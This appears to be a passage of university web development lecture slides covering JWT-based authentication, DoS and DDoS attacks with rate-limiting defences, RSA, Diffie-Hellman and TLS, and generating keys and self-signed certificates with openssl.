  • JWTs can optionally be encrypted to obfuscate the headers and claims
    • Anything can be encrypted. Sometimes, people will encrypt JWTs

Recall OAuth

  • When the auth and resource servers are separate
  • Common for access tokens to be JWTs
  • Make them short-lived and issue refresh tokens

Your app sends an authorization grant to the authentication server, which responds with an access token and a refresh token. Later your app sends the refresh token to the authentication server and gets back a new access token, and possibly a new refresh token. To use the API, your app sends only the access token to the resource server, which responds with private data.

JWTs in the Project

The Auth Service

  • A separate service, in its own container, handles registration, login, and logout
    • It has the private key and the password database
    • It issues a signed JWT in a cookie on login
  • Nginx routes /register, /login, and /logout to the auth service, and everything else to your app
  • Your app verifies JWTs with the public key
    • No request to the auth service and no database lookup

The Auth Service

The browser talks to nginx over HTTPS. Nginx routes /register, /login, and /logout to the auth service, and everything else to the app. The auth service holds the private key and the password database, and signs JWTs. The app holds only the public key, which it gets from a shared volume or a public key endpoint, and uses it to verify JWTs. The app has its own game data.

Keys

  • Generate the key pair when the auth service starts, if it doesn't have one yet
  • Store the private key in a volume that only the auth service mounts
    • Keys must survive a restart, or every JWT stops working
    • Never commit a private key
    • Not even your app server should hold the private key
  • Share the public key with your app
    • A volume both containers mount, or an endpoint on the auth service that returns it

Further Reading

DoS and DDoS

Denial of service attacks from brute force to slow send, SYN floods, and botnets, and how rate limiting protects your app

DoS

Denial of Service

  • Denial of Service (DoS) Attack
    • Prevent the server from being used by legitimate users
  • General strategy
    • Overwhelm the server with requests
    • The requests use all of the server's resources
    • Anyone attempting to use the app during the attack will not get responses from their requests
  • Discuss: How would you attack a server?

DoS Prevention

  • Constant back-and-forth between attacks and prevention
  • Each side continuously evolves in an attempt to counter the other
  • Preventing DoS attacks is difficult without affecting legitimate users

DoS - Brute Force

  • Brute force attack
    • Just mash refresh on the page... or
    • Write code that will send a request
      • Call that code in a loop
  • Very simple attack
  • Very simple prevention
    • Write efficient code for your app
    • The attack is effectively a load test
    • Your app should be ready for a large number of users

DoS - Content-Length

  • An attacker can get more sophisticated than brute force by playing with the Content-Length header
  • How does your code buffer POST requests?
    • Read the content length
    • Read bytes from the TCP socket until you read that many bytes
  • How does an attacker exploit this?
    • Send a request with a Content-Length of 20
    • Only send 19 bytes in the body
    • Your code gets stuck in an infinite loop
    • Send these requests in a loop to force the server to keep many connections open

DoS - Slow Send

  • Next step of prevention:
    • Set a timeout in your loop
    • If you haven't received any bytes after a fixed amount of time, close the connection
  • Next evolution of the attack:
    • Drip feed the content
    • Instead of sending all the bytes right away, send them very slowly
    • eg. Set Content-Length to 100,000, then send 10 bytes/second
    • Prevents the timeout from activating

DoS - Slow Send

  • Next evolution of the attack:
    • Send bytes very slowly
  • Next step of prevention:
    • Set a timeout for the entire connection
    • Prevention must distinguish between a slow send attack and a legitimate user with a slow connection
    • Attackers evolve to accurately simulate a user with a slow connection

DoS - Slow Read

  • A related attack is to read server responses very slowly
  • Instead of reading 2048 bytes whenever data is ready, read a few bytes/second
  • Can take a very long time to read one response from the server
    • Server must keep this TCP connection open the whole time

DoS - SYN Flood

  • Recall the TCP three way handshake
    • Client sends SYN
    • Server responds with SYN + ACK
    • Client responds with ACK

TCP 3-way handshake between a client and a server. The server calls listen() and is in the LISTEN state, then calls accept(). The client calls connect() and enters SYN_SENT, sending SYN M. The server enters SYN_RECV and replies SYN N, ACK M+1. connect() returns and the client is ESTABLISHED. The client sends ACK N+1, which can include data. accept() returns and the server is ESTABLISHED.

DoS - SYN Flood

  • SYN Flood attack:
    • Send a SYN to the server
    • Stop.
  • Very cheap to send a SYN packet
    • Can send large numbers of them very quickly
    • Server responds and waits for the ACK that never comes
    • Server has lots of half-open connections until they time out
    • Uses the server's resources to keep these connections open

TCP 3-way handshake between a client and a server. The server calls listen() and is in the LISTEN state, then calls accept(). The client calls connect() and enters SYN_SENT, sending SYN M. The server enters SYN_RECV and replies SYN N, ACK M+1. connect() returns and the client is ESTABLISHED. The client sends ACK N+1, which can include data. accept() returns and the server is ESTABLISHED.

DoS Prevention: IP Blocking

  • IP blocking
    • If you see many requests, or other suspicious behavior, from the same IP address
      • Block connections from that IP address
  • When using nginx as a reverse proxy:
    • All requests will come from nginx
    • Configure nginx to forward the real IP address of the client in the X-Forwarded-For header
    • Read the header in your server code to add IP blocking
  • Careful: many users can share one IP address
    • Everyone behind the same NAT (eg. campus Wi-Fi) looks like one client

DDoS

  • So we block offending IP addresses
    • Game Over. Eventually block all attacker IPs..
    • IP addresses can be spoofed..
    • But more problematic is the DDoS attack

DDoS

  • Distributed Denial of Service (DDoS)
    • Instead of using one machine to launch an attack..
      • Use as many machines as you can access
      • Launch any/all of the previous attacks from all machines
    • Very difficult to prevent against since it can look much more like legitimate traffic from a variety of users

DDoS and BotNets

  • How does an attacker gain access to enough machines to launch a DDoS attack?
    • Using a BotNet
  • Viruses "Back in the day"
    • Attacker infects your device with a virus
    • The virus destroys your device and renders it unusable
    • Do it for the lolz
    • No real gain for the attacker

DDoS and BotNets

  • Viruses today
    • Attacker infects your device with a virus
    • The virus runs silently in the background waiting for commands from the attacker
    • Infected machines become part of the attacker's BotNet
    • The attacker can now use the resources of all these machines
      • Launch a DDoS attack from their BotNet
        • Looks even more like legitimate users since many of them are legitimate users
    • Lucrative for the attacker
      • Can sell access to their BotNet
        • Or just mine crypto..

Rate Limiting

Rate Limiting

  • Limit how many requests a client can make in a period of time
    • eg. 100 requests per minute
  • Over the limit? Respond with 429 Too Many Requests
    • Add a Retry-After header with the number of seconds to wait
  • Generous limits never affect real users
  • A brute force attack becomes cheap to stop

Per IP or Per Account?

  • Per IP address
    • Works before login (eg. the login and registration pages)
    • One NAT can put a whole building behind one IP address
  • Per account
    • Works once the user is logged in
    • Users on the same network don't affect each other
    • An attacker can register many accounts. Limit registrations per IP
  • Limit failed logins per username
    • Stops password guessing against one account from many IPs

Fixed Window

  • Count each account's requests in the current minute
    • Start a new count at the start of each minute
  • Simple: one counter and one timestamp per account
  • Problem: Bursts at the boundary
    • 100 requests at 12:00:59 and 100 more at 12:01:00
    • 200 requests in 2 seconds, and neither window is over the limit

Token Bucket

  • Each account has a bucket that holds up to capacity tokens
    • Tokens refill at rate tokens per second
    • Each request takes a token. Empty bucket: 429
  • Allows short bursts, but limits the average rate
def allow(bucket, now, rate=10, capacity=20):
    bucket.tokens = min(capacity, bucket.tokens + (now - bucket.last) * rate)
    bucket.last = now
    if bucket.tokens < 1:
        return False
    bucket.tokens -= 1
    return True

Rate Limiting WebSockets

  • One WebSocket connection can send thousands of messages per second
    • Your HTTP rate limits never see them
  • Count messages per account, not per connection
    • Otherwise opening 10 tabs gives 10 times the limit
  • Over the limit: ignore the extra messages, or close the connection
    • Close code 1008: Policy Violation
  • Set the limit above normal play
    • If your game sends 30 movement updates per second, allow 60

Where to Keep the Counts

  • In memory: a map from username to bucket
    • Fast. Lost on restart, which is fine for rate limits
  • Running several copies of your app? They need shared counts
    • eg. Redis, which can count and expire keys for you
  • Nginx can rate limit by IP before requests reach your app (limit_req)
    • Nginx doesn't know who is logged in. Per-account limits belong in your app

Further Reading

Encryption

HTTPS and RSA Encryption

Encryption

The Problem

  • Using HTTP, anyone with access to your packets can see everything you are doing online
    • This includes your passwords!
  • Who has access to my packets?
    • Your ISP at home
    • UBIT on campus
    • Tier 1 Networks

The Problem

  • Using HTTP, anyone with access to your packets can see everything you are doing online
    • This includes your passwords!
  • Who has access to my packets?
    • Your ISP at home
    • UBIT on campus
    • Tier 1 Networks
    • .. and everyone within wifi range of your device!

The Problem

  • Using HTTP, anyone with access to your packets can see everything you are doing online
    • This includes your passwords!
  • Why does this include passwords? Are they not hashed?
  • --Demo--

The Problem

  • Using HTTP, anyone with access to your packets can see everything you are doing online
    • This includes your passwords!
  • Passwords are sent over the Internet in plain text!
    • Hashing client-side does not add any security.

The Solution

  • We'll just add an S to our protocol and call it HTTPS
    • HTTP over TLS

Encryption

  • Hide communication from attackers/eavesdroppers
  • Want to send a plaintext message
    • Could be HTML, JSON, JavaScript, text, an image, etc
    • Plaintext is a cryptographic term to mean unencrypted
    • We encrypt at the byte level
  • Encrypting the plaintext outputs a random looking cyphertext
  • No one should be able to read this cypher text except the intended recipient
  • Only the intended recipient can decrypt the cyphertext and read the plaintext message

Encryption

The plaintext "Meet us at the stick" is encrypted into a long, random-looking ciphertext. Decrypting the ciphertext gives back the plaintext "Meet us at the stick".

Public Key Encryption

  • How do we ensure that only the intended recipient can decrypt the message?
    • Public Key Encryption
  • Generate a public and private encryption key
    • Private key is kept private
    • Public key is shared with anyone/everyone
  • A message encrypted with the public key can only be decrypted by the corresponding private key
  • If I want to send a message to someone, I can encrypt the message with their public key

Public Key Encryption

  • The public and private key are inherently related
  • An attacker must not be able to determine the private key given the public key [In any reasonable amount of time]
  • An attacker must not be able to decrypt cyphertext without the private key [In any reasonable amount of time]
  • Any public key encryption algorithm must have these properties [And more]
    • Math and theory will help us

Public Key Encryption - RSA

  • RSA - Rivest-Shamir-Adleman
    • A public key crypto system with the desired properties [we hope]
  • Provides algorithms to:
    • Generate a public/private key pair
    • Encrypt with the public key
    • Decrypt with the private key

Public Key Encryption - RSA

  • Key Generation
    • Choose two [large] prime numbers p and q
    • n = p*q
    • λ(n) = lcm(p-1, q-1)
    • Choose e < λ(n) and gcd(e, λ(n)) = 1
    • d = e^{-1} mod λ(n)
  • Share e and n as the public key
  • Keep d as the private key
  • Discard p, q, and λ(n)

Public Key Encryption - RSA

  • Encryption
    • To send a message m
    • Compute c = m^e mod(n)
    • Send c
  • Decryption
    • Receive c
    • Compute m = c^d mod(n)
    • Read m

Public Key Encryption - RSA

  • RSA key generation gives us: m = m^(e*d) mod(n)
  • This means that we can also encrypt with the private key and decrypt with the public key
    • We call this a signature
    • Everyone can decrypt the message so there is no privacy
    • However, there is a guarantee that the author is legitimate (You know I'm the one who sent this message)

Public Key Encryption - RSA

  • What about a brute force attack?
    • Attacker has the public key
    • Keep encrypting "guesses" of the plaintext until the cyphertext matches

Public Key Encryption - RSA

  • What about a brute force attack?
  • Solution: Use a padding algorithm
    • Add random bits to the end of each message
    • Attacker must guess these random bits
    • Adds security!
    • Unlike salting, padding can be kept secret and adds entropy
    • Makes encryption of even short messages secure!

Public Key Encryption - RSA

  • Unlike salting, padding can be kept secret and adds entropy
    • Why?

Public Key Encryption - RSA

  • Unlike salting, padding can be kept secret and adds entropy
  • Cyphertext will be decrypted by the recipient
    • After decrypting, discard the padding and read the message
    • Use a delimiter to indicate the beginning of the padding
  • Hash will never be "unhashed"
    • Cannot identify/discard the salt

Public Key Encryption - RSA

  • Key Generation
    • Choose two [large] prime numbers p and q
    • n = p*q
    • λ(n) = lcm(p-1, q-1)
    • Choose e < λ(n) and gcd(e, λ(n)) = 1
    • d = e^{-1} mod λ(n)
  • Given p, q, and e an attacker can easily compute d (private key)
  • Everyone already has e and n (the public key)
  • So just factor n to get p and q, then compute the private key

Public Key Encryption - RSA

Factoring is hard [We hope]

  • There is no publicly known algorithm that can efficiently factor a number
  • Worst case is factoring the multiplication of two large primes
    • Exactly what RSA relies on for security
  • It has not been proven that factoring is a "hard" problem
    • Quantum computers can factor efficiently
  • We call the factoring problem a cryptographic primitive

Public Key Encryption - RSA

  • Encryption
    • To send a message m
    • Compute c = m^e mod(n)
    • Send c
  • Everyone knows e and n (The public key)
  • An attacker can read c if they are within wifi range
  • Just have to compute the discrete log_e of c mod n

Public Key Encryption - RSA

Computing a Discrete Log is hard [We hope]

  • There is no publicly know algorithm that can efficiently compute discrete logarithms
  • This problem is another cryptographic primitive

Further Reading

HTTP over TLS

HTTPS, key exchange, and Certificate Authorities

Signed Certificates

Vulnerability

  • Man-in-the-middle attack
  • The first step in an HTTPS connection:
    • Client requests the server's public key
  • An attacker controlling a router in one of the networks handling your packets can intercept this request and replace it with their own public key
    • This cannot be encrypted
  • Attacker then intercepts all subsequent requests, decrypts them and responds with their responses
  • It looks like you're talking to the server..
  • Certificate Authorities (CA) can fix that

Certificate Authority (CA)

  • A CA is a trusted source with a known public key
    • Public key is pre-installed with your OS or your browser (Called a root CA)
    • Assume no man-in-the-middle attack during OS and browser installation
  • The CA issues certificates for domains and subdomains
    • You verify that you control the domain
    • Send them your public key (Signed with your private key)
    • They send you a certificate

Certificate Authority (CA)

  • Certificate includes
    • Your public key
    • Domain name and CA name
    • A cryptographic signature of a hash of the certificate body
      • The signature uses the CA's private key so you can verify it with their pre-installed public key that this was in fact issued by the CA
      • Man-in-the-middle cannot fake this without the CA's private key!

Certificate Authority (CA)

  • Key chain
    • Not all CA public keys are pre-installed on your machine
    • A CA can have their public key certified by a root CA
    • A domain must provide a key chain that leads to a root CA
  • Example key chain
    • Let's Encrypt certificate is signed by DST Root CA
    • Let's Encrypt will sign your certificate
    • Your key chain contains your public key signed by Let's Encrypt and Let's Encrypt's certificate is signed by DST
    • Your browser starts with it's installed DST cert to verify the chain
  • If a cert cannot be verified by a root CA, it is called Self-signed and should not be trusted

Certificate Authority (CA)

  • For your project:
    • You must obtain and install a valid signed certificate
    • There must not be any security warnings given by the browser

Self-Signed Certificates

Self-Signed Certificate

  • A CA will only sign your certificate if you control a domain name
    • Buy a domain name and prove to the CA that you control it
  • Cannot get a signed cert for "localhost"
  • You can generate our own self-signed certificates
    • For development/educational purposes only!
    • When you deploy an app for real users, do not use a self- signed cert!
    • These certs cannot be verified and are therefor vulnerable to man-in-the-middle attacks

OpenSSL

  • OpenSSL is a very common SSL/TLS library
    • Written in C
    • Wrappers exist for many languages
  • Can be used for many encryption needs
    • Generating keys
    • Signing certs
    • Validating certs
  • Can use OpenSSL in the command line to generate self-signed certificates

Self-Signed Certificate

openssl req -x509 -newkey rsa:4096 -keyout private.key -out cert.pem -days 365 -sha256 -nodes

  • This command has many options
  • req
    • Request a signed certificate
  • -x509
    • Use the x509 standard format for the certificate
  • -newkey rsa:4096
    • Generate a new key for this cert using the RSA algorithm and a 4k key size

Self-Signed Certificate

openssl req -x509 -newkey rsa:4096 -keyout private.key -out cert.pem -days 365 -sha256 -nodes

  • -keyout private.key
    • Save the private key in a file named "private.key"
  • -out cert.pem
    • Save the public certificate in a file named "cert.pem"
  • -days 365
    • This certificate will expire in 1 year
  • -nodes
    • Do not require a password to use the private key

Self-Signed Certificate

openssl req -x509 -newkey rsa:4096 -keyout private.key -out cert.pem -days 365 -sha256 -nodes

  • Assuming openSSL is installed you can run commands in the command line
  • This command will generate a self-signed certificate and private key

Self-Signed Certificate

openssl req -x509 -newkey rsa:4096 -keyout private.key -out cert.pem -days 365 -sha256 -nodes -subj "/C=US"

  • If you run the command on the previous slides, you'll be asked a lot of questions
    • For most, you can hit enter and leave them blank
    • You must enter your country code though (eg. "us")
  • Or add -subj "/C=US"
    • This lets you set your answers to all the questions
    • Required to set country code, and you can leave the rest blank
    • Allows you run this command in a script

Generating a Key Pair

openssl genrsa -out auth_private.key 4096 openssl rsa -in auth_private.key -pubout -out auth_public.key

  • If you only want a public/private key pair
    • Without a certificate
  • You can run these 2 commands
  • Helpful for your auth server since you don't need a certificate

HTTPS

HTTPS

  • Commonly called HTTP Secure or Secure HTTP
  • From a web app development perspective
    • HTTPS is the same protocol as HTTP
    • We reuse all of our HTTP code
  • The difference is that all our requests/responses are encrypted via SSL/TLS
    • SSL (Secure Socket Layer) was renamed to TLS (Transport Layer Security) after SSL 3.0
    • I'll only refer to the protocol as TLS after this note

TLS

  • TLS fits between TCP and HTTP on our protocol stack
  • All these protocols are modular
    • TCP is not aware that the bytes it's sending are encrypted
    • HTTP is not aware that the requests were encrypted or that the responses will be encrypted

On the left, the network/protocol stack is HTTP on top of TCP on top of IP. An arrow points to the new stack on the right: HTTP on top of TLS on top of TCP on top of IP. TLS is the new layer.

TLS

  • This allows us to continue to use TCP and HTTP
  • We only need to add the TLS layer to our web apps to gain encryption
    • This will not require any changes to the HTTP side of our servers!

The network/protocol stack: HTTP on top of TLS on top of TCP on top of IP.

Communication with TLS

TLS

  • What we want:
    • Two-way encrypted traffic
  • What we have:
    • A server with a public/private key pair verified by a CA
  • A client could encrypt using the servers public key
  • How does the server encrypt responses sent to the client?

TLS Overview

  • Client and server negotiate a TLS handshake
  • During the handshake, a symmetric encryption key is agreed upon
    • Same key encrypts and decrypts
  • Client and server both have this key
  • All communication in both directions is encrypted with this key
  • With this goal in mind, how do a client and server securely agree on this key without an eavesdropper also knowing the key?

Diffie-Hellman Key Exchange

  • Client and server agree on a prime number p with a group generator g
    • A generator for a prime group means that
      • For each value 0 < i < p
      • g^i mod p is a unique value
      • We say g generates the group since multiplying g by itself p times (mop p) will provide every value 1 to p-1
  • Both p and g are public

Diffie-Hellman Key Exchange

  • Client and server both generate a random number
    • Call the clients number a
    • Call the servers number b
  • Both a and b are private
    • Client and server cannot even share these values with each other

Diffie-Hellman Key Exchange

  • Client computes g^a mod p
    • Sends this value to the server
    • Server raises this value to the power of b mod p
    • Server now has g^{ab} mod p
  • Server computes g^b mod p
    • Sends this value to the client
    • Client raises this value to the power of a mod p
    • Client now has g^{ab} mod p

Diffie-Hellman Key Exchange

  • Client and server now have a shared secret g^{ab} mod p
    • This secret is used as a seed to generate a symmetric encryption key
      • Or used directly as the key
  • The only values containing secret values that were sent over the network were
    • g^a mod p
    • g^b mod p
  • And computing a or b from these values involves computing a discrete logarithm which is a cryptographic primitive

Symmetric Key Encryption

  • Once the Client and server have a shared symmetric key, they can encrypt all their communication with this key
  • The same key encrypts and decrypts
  • Typical choice of algorithm is AES (Advanced Encryption Standard)
    • Very brief description: AES repeatedly scrambles bytes and XORs them with values generated by the encryption key
    • AES does not reduce to a cryptographic primitive
    • Theoretical attacks exist, but no known practical attacks

TLS 1.2 Handshake

  • Client Hello
    • Here are the algorithms I support
  • Server Hello
    • Here are the algorithms we'll use for this connection
  • Server sends its certificate
  • Client and server both generate their part of the symmetric key based on the chosen algorithms
    • Ex. Generate a and send g^a mod p
    • Server signs its portion with the private key from its certificate
  • With the partial key received from the client/server, compute the rest of the symmetric key
  • Both parties now have the symmetric key and can encrypt/decrypt all following traffic

Forward Secrecy

  • Note that the servers keys from its certificate were only used to verify the servers identity during the key exchange
  • The encryption of traffic was done with a one-time symmetric key
    • A different key is generated for every TLS connection
  • Even if an eavesdropper stored all of the encrypted traffic and later stole the servers private key linked to the certificate
    • They are still out of luck (Cannot use this private key to find the symmetric key)
    • This is called forward secrecy

Algorithms Note

  • RSA, Diffie-Hellman Key Exchange, and AES were mentioned as examples
  • The algorithms change and evolve over time
  • Different servers/clients may support different sets of algorithms over time
  • TLS is very flexible and allows for any algorithms to be used, so long as the client and server both agree which ones will be used
    • TLS itself does not define how to exchange keys or encrypt and instead defers to the algorithms for details

Privacy Note

  • TLS Encrypts the entire HTTP request/response using the symmetric key
  • Eavesdroppers can still see TCP/IP headers
    • Including source/destination IP addresses!
      • They don't know what you're saying, but they know who you're talking to
    • This is why VPNs are still popular even though most sites use HTTPS in current year

Further Reading